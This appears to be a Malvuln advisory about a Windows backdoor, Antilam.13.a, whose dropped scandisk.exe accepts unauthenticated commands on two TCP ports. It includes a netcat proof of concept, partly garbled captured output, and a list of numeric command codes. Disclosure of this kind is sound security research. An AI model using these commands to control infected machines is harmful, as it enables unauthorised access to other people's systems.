Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/1ef711b34cc278449f1997e4ed06334a.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Antilam.13.a Vulnerability: Unauthenticated Remote Command Execution Description: The malware drops an executable named "scandisk.exe" that listens on TCP ports 47891 and 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Example, to get the date/time we can enter 015 or the hex value 0xF. Type: PE MD5: 1ef711b34cc278449f1997e4ed06334a Vuln ID: MVID-2021-0204 Dropped files: scandisk.exe Disclosure: 05/07/2021 Exploit/PoC: 001 + Enter (Gets system info) nc64.exe 192.168.88.127 47891 001 ╧α∩Ωα Windows: C:\WINDOWS ╧α∩Ωα System: ╧α∩Ωα Temp: C:\Users\Victim\AppData\Local\Temp\ ┬σ≡±Φ  Windows: Windows NT 6.2 9200 ╠Φφ≤≥ Γ Windows: 688 ╚∞  Ωε∞∩α: DESKTOP-1B6KQJO ╚∞  ■τσ≡α: Victim ▀τ√Ω Windows: English (United States) ╨ατ≡σ°σφΦσ: 1593x810 NumLock: Off CapsLock: Off ScrollLock: Off ╧≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α ╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 2,059,726,640 ╒ε±≥: DESKTOP-1B6KQJO Other commands: 004 Taskbar 007 Monitor 009 Ctrl+Alt+Del 010 CapsLock 012 CD-ROM 015 or 0xF(HEX) Get Date/Time 018 Mouse was been unlocked 029 returns name of the current malware running 022 returns the 65784am ManagerAdministrator Command Prompt Promptrator) Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).